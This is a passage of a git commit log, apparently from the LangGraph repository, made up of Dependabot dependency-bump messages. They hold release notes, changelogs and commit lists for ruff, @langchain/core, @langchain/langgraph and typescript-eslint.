href="https://github.com/langchain-ai/langgraph/commit/0fd2748530a6d040b0ce7bc7f356ba42cd7cbad8"><code>0fd2748</code></a> Accept custom serde implementations</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/bc0a3419ed268abaec92833a9e258a0c2469175c"><code>bc0a341</code></a> Lint</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/5cd47bac49fdc3eef907d9a722a1e0b0a49bf8dd"><code>5cd47ba</code></a> Add optional encryption of checkpointer payloads</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/4c6d80a67f2edaffc10d98debf45f6ca24a4241a"><code>4c6d80a</code></a> Add TTL Sweeper (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/3849">#3849</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/18ed044c27165910ec23071ea51900d01e3c69f0"><code>18ed044</code></a> Bump patch version</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/394a9fa85fcfe7bc9f236f490627576031bf7be0"><code>394a9fa</code></a> Update schema</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/9741d9bdf001117e041caf7cc845fa99390a94e6"><code>9741d9b</code></a> Add tests for sweeper (sync)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langgraph/compare/sdk==0.3.9...0.3.11">compare view</a></li> </ul> </details> <br /> Updates `ruff` from 0.15.5 to 0.15.6 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.6</h2> <h2>Release Notes</h2> <p>Released on 2026-03-12.</p> <h3>Preview features</h3> <ul> <li>Add support for <code>lazy</code> import parsing (<a href="https://redirect.github.com/astral-sh/ruff/pull/23755">#23755</a>)</li> <li>Add support for star-unpacking of comprehensions (PEP 798) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23788">#23788</a>)</li> <li>Reject semantic syntax errors for lazy imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23757">#23757</a>)</li> <li>Drop a few rules from the preview default set (<a href="https://redirect.github.com/astral-sh/ruff/pull/23879">#23879</a>)</li> <li>[<code>airflow</code>] Flag <code>Variable.get()</code> calls outside of task execution context (<code>AIR003</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23584">#23584</a>)</li> <li>[<code>airflow</code>] Flag runtime-varying values in DAG/task constructor arguments (<code>AIR304</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23631">#23631</a>)</li> <li>[<code>flake8-bugbear</code>] Implement <code>delattr-with-constant</code> (<code>B043</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23737">#23737</a>)</li> <li>[<code>flake8-tidy-imports</code>] Add <code>TID254</code> to enforce lazy imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23777">#23777</a>)</li> <li>[<code>flake8-tidy-imports</code>] Allow users to ban lazy imports with <code>TID254</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23847">#23847</a>)</li> <li>[<code>isort</code>] Retain <code>lazy</code> keyword when sorting imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23762">#23762</a>)</li> <li>[<code>pyupgrade</code>] Add <code>from __future__ import annotations</code> automatically (<code>UP006</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23260">#23260</a>)</li> <li>[<code>refurb</code>] Support <code>newline</code> parameter in <code>FURB101</code> for Python 3.13+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/23754">#23754</a>)</li> <li>[<code>ruff</code>] Add <code>os-path-commonprefix</code> (<code>RUF071</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23814">#23814</a>)</li> <li>[<code>ruff</code>] Add unsafe fix for os-path-commonprefix (<code>RUF071</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23852">#23852</a>)</li> <li>[<code>ruff</code>] Limit <code>RUF036</code> to typing contexts; make it unsafe for non-typing-only (<a href="https://redirect.github.com/astral-sh/ruff/pull/23765">#23765</a>)</li> <li>[<code>ruff</code>] Use starred unpacking for <code>RUF017</code> in Python 3.15+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/23789">#23789</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>Fix <code>--add-noqa</code> creating unwanted leading whitespace (<a href="https://redirect.github.com/astral-sh/ruff/pull/23773">#23773</a>)</li> <li>Fix <code>--add-noqa</code> breaking shebangs (<a href="https://redirect.github.com/astral-sh/ruff/pull/23577">#23577</a>)</li> <li>[formatter] Fix lambda body formatting for multiline calls and subscripts (<a href="https://redirect.github.com/astral-sh/ruff/pull/23866">#23866</a>)</li> <li>[formatter] Preserve required annotation parentheses in annotated assignments (<a href="https://redirect.github.com/astral-sh/ruff/pull/23865">#23865</a>)</li> <li>[formatter] Preserve type-expression parentheses in the formatter (<a href="https://redirect.github.com/astral-sh/ruff/pull/23867">#23867</a>)</li> <li>[<code>flake8-annotations</code>] Fix stack overflow in <code>ANN401</code> on quoted annotations with escape sequences (<a href="https://redirect.github.com/astral-sh/ruff/pull/23912">#23912</a>)</li> <li>[<code>pep8-naming</code>] Check naming conventions in <code>match</code> pattern bindings (<code>N806</code>, <code>N815</code>, <code>N816</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23899">#23899</a>)</li> <li>[<code>perflint</code>] Fix comment duplication in fixes (<code>PERF401</code>, <code>PERF403</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23729">#23729</a>)</li> <li>[<code>pyupgrade</code>] Properly trigger <code>super</code> change in nested class (<code>UP008</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22677">#22677</a>)</li> <li>[<code>ruff</code>] Avoid syntax errors in <code>RUF036</code> fixes (<a href="https://redirect.github.com/astral-sh/ruff/pull/23764">#23764</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>flake8-bandit</code>] Flag <code>S501</code> with <code>requests.request</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23873">#23873</a>)</li> <li>[<code>flake8-executable</code>] Fix WSL detection in non-Docker containers (<a href="https://redirect.github.com/astral-sh/ruff/pull/22879">#22879</a>)</li> <li>[<code>flake8-print</code>] Ignore <code>pprint</code> calls with <code>stream=</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23787">#23787</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Update docs for Markdown code block formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23871">#23871</a>)</li> <li>[<code>flake8-bugbear</code>] Fix misleading description for <code>B904</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23731">#23731</a>)</li> </ul> <h3>Contributors</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.6</h2> <p>Released on 2026-03-12.</p> <h3>Preview features</h3> <ul> <li>Add support for <code>lazy</code> import parsing (<a href="https://redirect.github.com/astral-sh/ruff/pull/23755">#23755</a>)</li> <li>Add support for star-unpacking of comprehensions (PEP 798) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23788">#23788</a>)</li> <li>Reject semantic syntax errors for lazy imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23757">#23757</a>)</li> <li>Drop a few rules from the preview default set (<a href="https://redirect.github.com/astral-sh/ruff/pull/23879">#23879</a>)</li> <li>[<code>airflow</code>] Flag <code>Variable.get()</code> calls outside of task execution context (<code>AIR003</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23584">#23584</a>)</li> <li>[<code>airflow</code>] Flag runtime-varying values in DAG/task constructor arguments (<code>AIR304</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23631">#23631</a>)</li> <li>[<code>flake8-bugbear</code>] Implement <code>delattr-with-constant</code> (<code>B043</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23737">#23737</a>)</li> <li>[<code>flake8-tidy-imports</code>] Add <code>TID254</code> to enforce lazy imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23777">#23777</a>)</li> <li>[<code>flake8-tidy-imports</code>] Allow users to ban lazy imports with <code>TID254</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23847">#23847</a>)</li> <li>[<code>isort</code>] Retain <code>lazy</code> keyword when sorting imports (<a href="https://redirect.github.com/astral-sh/ruff/pull/23762">#23762</a>)</li> <li>[<code>pyupgrade</code>] Add <code>from __future__ import annotations</code> automatically (<code>UP006</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23260">#23260</a>)</li> <li>[<code>refurb</code>] Support <code>newline</code> parameter in <code>FURB101</code> for Python 3.13+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/23754">#23754</a>)</li> <li>[<code>ruff</code>] Add <code>os-path-commonprefix</code> (<code>RUF071</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23814">#23814</a>)</li> <li>[<code>ruff</code>] Add unsafe fix for os-path-commonprefix (<code>RUF071</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23852">#23852</a>)</li> <li>[<code>ruff</code>] Limit <code>RUF036</code> to typing contexts; make it unsafe for non-typing-only (<a href="https://redirect.github.com/astral-sh/ruff/pull/23765">#23765</a>)</li> <li>[<code>ruff</code>] Use starred unpacking for <code>RUF017</code> in Python 3.15+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/23789">#23789</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>Fix <code>--add-noqa</code> creating unwanted leading whitespace (<a href="https://redirect.github.com/astral-sh/ruff/pull/23773">#23773</a>)</li> <li>Fix <code>--add-noqa</code> breaking shebangs (<a href="https://redirect.github.com/astral-sh/ruff/pull/23577">#23577</a>)</li> <li>[formatter] Fix lambda body formatting for multiline calls and subscripts (<a href="https://redirect.github.com/astral-sh/ruff/pull/23866">#23866</a>)</li> <li>[formatter] Preserve required annotation parentheses in annotated assignments (<a href="https://redirect.github.com/astral-sh/ruff/pull/23865">#23865</a>)</li> <li>[formatter] Preserve type-expression parentheses in the formatter (<a href="https://redirect.github.com/astral-sh/ruff/pull/23867">#23867</a>)</li> <li>[<code>flake8-annotations</code>] Fix stack overflow in <code>ANN401</code> on quoted annotations with escape sequences (<a href="https://redirect.github.com/astral-sh/ruff/pull/23912">#23912</a>)</li> <li>[<code>pep8-naming</code>] Check naming conventions in <code>match</code> pattern bindings (<code>N806</code>, <code>N815</code>, <code>N816</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23899">#23899</a>)</li> <li>[<code>perflint</code>] Fix comment duplication in fixes (<code>PERF401</code>, <code>PERF403</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23729">#23729</a>)</li> <li>[<code>pyupgrade</code>] Properly trigger <code>super</code> change in nested class (<code>UP008</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22677">#22677</a>)</li> <li>[<code>ruff</code>] Avoid syntax errors in <code>RUF036</code> fixes (<a href="https://redirect.github.com/astral-sh/ruff/pull/23764">#23764</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>flake8-bandit</code>] Flag <code>S501</code> with <code>requests.request</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23873">#23873</a>)</li> <li>[<code>flake8-executable</code>] Fix WSL detection in non-Docker containers (<a href="https://redirect.github.com/astral-sh/ruff/pull/22879">#22879</a>)</li> <li>[<code>flake8-print</code>] Ignore <code>pprint</code> calls with <code>stream=</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23787">#23787</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Update docs for Markdown code block formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23871">#23871</a>)</li> <li>[<code>flake8-bugbear</code>] Fix misleading description for <code>B904</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23731">#23731</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/zsol"><code>@​zsol</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/e4c7f357777a2fdd34dbe6a98b1b7d3e7488f675"><code>e4c7f35</code></a> Bump 0.15.6 (<a href="https://redirect.github.com/astral-sh/ruff/issues/23919">#23919</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/edfe6c17a493669227da45ce7edc786208d9d0b0"><code>edfe6c1</code></a> [ty] Narrow type context during collection literal inference (<a href="https://redirect.github.com/astral-sh/ruff/issues/23844">#23844</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/dd16d689abd9d0fa1caf4316e70479fd422b6142"><code>dd16d68</code></a> Exclude broken symlink in ecosystem check (<a href="https://redirect.github.com/astral-sh/ruff/issues/23921">#23921</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/3f94c6ac6397cdc3160459d9d6e3892e3f3242dd"><code>3f94c6a</code></a> Fix stack overflow in ANN401 on quoted annotations with escape sequences (<a href="https://redirect.github.com/astral-sh/ruff/issues/23">#23</a>...</li> <li><a href="https://github.com/astral-sh/ruff/commit/91fc7bd3f936974d7107ba8fd0668bc251a55c58"><code>91fc7bd</code></a> [ty] Fix false-positive diagnostics for PEP-604 union annotations on attribut...</li> <li><a href="https://github.com/astral-sh/ruff/commit/04229cffb44dfe8c64a0879eb3cea472a08d1565"><code>04229cf</code></a> [ty] Initial test suite for PEP-728 <code>TypedDict</code> features (<a href="https://redirect.github.com/astral-sh/ruff/issues/23832">#23832</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/728b9d6fd300d492fc2572bcfade170141296f97"><code>728b9d6</code></a> [<code>pep8-naming</code>] Check naming conventions in <code>match</code> pattern bindings (<code>N806</code>,...</li> <li><a href="https://github.com/astral-sh/ruff/commit/88d1eecd261679fc9d1d10f30d814230a7f28513"><code>88d1eec</code></a> [ty] Ensure a <code>type[]</code> type <code>T</code> is always considered assignable to a union th...</li> <li><a href="https://github.com/astral-sh/ruff/commit/37cdd61406ad4965847c9baa7c3f6ca633887d68"><code>37cdd61</code></a> Fix lambda body formatting for multiline calls and subscripts (<a href="https://redirect.github.com/astral-sh/ruff/issues/23866">#23866</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/a25a4df54aca67d23b4867ddad634fe0768fd6a2"><code>a25a4df</code></a> [ty] Disambiguate duplicate-looking overloaded callables in union display (<a href="https://redirect.github.com/astral-sh/ruff/issues/2">#2</a>...</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.5...0.15.6">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-17 13:05:52 -07:00
3 people	16ae9e5528	chore(deps): bump the all-dependencies group in /libs/cli/js-examples with 5 updates (#7195) ... Bumps the all-dependencies group in /libs/cli/js-examples with 5 updates: | Package | From | To | | --- | --- | --- | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.31` | `1.1.32` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.2.1` | `1.2.2` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.56.1` | `8.57.0` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.56.1` | `8.57.0` | | [jest](https://github.com/jestjs/jest/tree/HEAD/packages/jest) | `30.2.0` | `30.3.0` | Updates `@langchain/core` from 1.1.31 to 1.1.32 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.32</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10330">#10330</a> <a href="https://github.com/langchain-ai/langchainjs/commit/26488b596f01b7b7fe2f1d97d07164e52365ade5"><code>26488b5</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): treat empty string tool call chunk IDs as missing during merge</p> <p>Fixed <code>_mergeLists</code> in message base to treat empty string <code>&quot;&quot;</code> IDs the same as <code>null</code>/<code>undefined</code> when merging tool call chunks. This fixes old completions-style streaming where follow-up chunks carry <code>id: &quot;&quot;</code> instead of <code>undefined</code>, which previously prevented chunks from being merged by index.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10167">#10167</a> <a href="https://github.com/langchain-ai/langchainjs/commit/ca826f6fecae6087bf0dee7781ee80b587396ec1"><code>ca826f6</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: implement type inference for tool streams</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10334">#10334</a> <a href="https://github.com/langchain-ai/langchainjs/commit/a602c42db75d7e7e01cab38b12e0b65b9c0cce95"><code>a602c42</code></a> Thanks <a href="https://github.com/maahir30"><code>@​maahir30</code></a>! - fix(core): add JSDoc docstrings to fakeModel builder API and export FakeBuiltModel</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10254">#10254</a> <a href="https://github.com/langchain-ai/langchainjs/commit/db7d017f7ce13cb937147aabcbfa3847d80bde9d"><code>db7d017</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): preserve thoughtSignature in array content during streaming with thinking models</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b5b1eec6de2cccae8f01a2887c4c32b90db0f918"><code>b5b1eec</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10273">#10273</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/59aed4c14f57efcce8fa4f7cdef0de46d2168c47"><code>59aed4c</code></a> chore: fix dependabot config (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10346">#10346</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/08ee4c682f992274c061f002bf6ed3fadce0754d"><code>08ee4c6</code></a> chore: reorganize community packages into libs/community/ (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10324">#10324</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b7f63ea71709af8d7cc4549c75f0622c4bd9e453"><code>b7f63ea</code></a> chore: replace claude 3 haiku with claude haiku 4.5 in tests (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10322">#10322</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/d6535ca953b3d9b2a3b727c31120f6115d6ea4cb"><code>d6535ca</code></a> chore(deps): patch CVE-2025-68665 — override langchain to workspace version (...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/8740fe4cf75239b0a3c5dae0e0ce23d4ddda4d0b"><code>8740fe4</code></a> chore: update changeset (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10344">#10344</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/baedc05290d4376f261c0dd1165724cc2039b0a8"><code>baedc05</code></a> fix: bump underscore to resolve CVE-2026-27601 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10336">#10336</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/2418c6f18771460d5a4da4e6c1e44e4adb5e1705"><code>2418c6f</code></a> fix: bump tar override to &gt;=7.5.11 to resolve CVE-2026-29786, CVE-2026-31802 ...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/c8c58406d71c994d29b25469a9f4db8cc0dfc3ee"><code>c8c5840</code></a> Fix optional chaining for candidateContent in reduce (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10319">#10319</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/bb00b82d51d8fba513c30a3a3ede463227cc73f0"><code>bb00b82</code></a> chore: bump simple-git to fix CVE-2026-28292 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10331">#10331</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.31...@langchain/core@1.1.32">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.1 to 1.2.2 <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.2</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/e051ef6aa8301f39badc9f496cbacef73bb4e2c4"><code>e051ef6</code></a>]: <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.0</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/HEAD/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.56.1 to 8.57.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.0</h2> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>typescript-estree:</strong> switch back to use <code>ts.getModifiers()</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12034">#12034</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>fisker Cheung <a href="https://github.com/fisker"><code>@​fisker</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2c6aeeec238dfea860b9f3c146a55f8f49f15cf5"><code>2c6aeee</code></a> chore(release): publish 8.57.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/46bf066d3df4af9aa8804a383e0d6d407a8e79f0"><code>46bf066</code></a> docs(eslint-plugin): document no-unnecessary-condition limitation with object...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f696dadfc37078efe4119ad2ab0609cde3e42766"><code>f696dad</code></a> chore: use pnpm catalog (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12047">#12047</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2029c78dcbe11b7e750af588d3c47f1211f02798"><code>2029c78</code></a> fix(eslint-plugin): [no-base-to-string] fix false positive for toString with ...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/0f4f101a125487bc07db323288afb86d5247bc31"><code>0f4f101</code></a> fix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpec...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/53f473b7a8c46094623712ba69a627182d049a5b"><code>53f473b</code></a> fix(typescript-estree): if the template literal is tagged and the text has an...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2291b81f99670319618192645519a056fdb94cf4"><code>2291b81</code></a> docs: minor grammar adjustment (<a 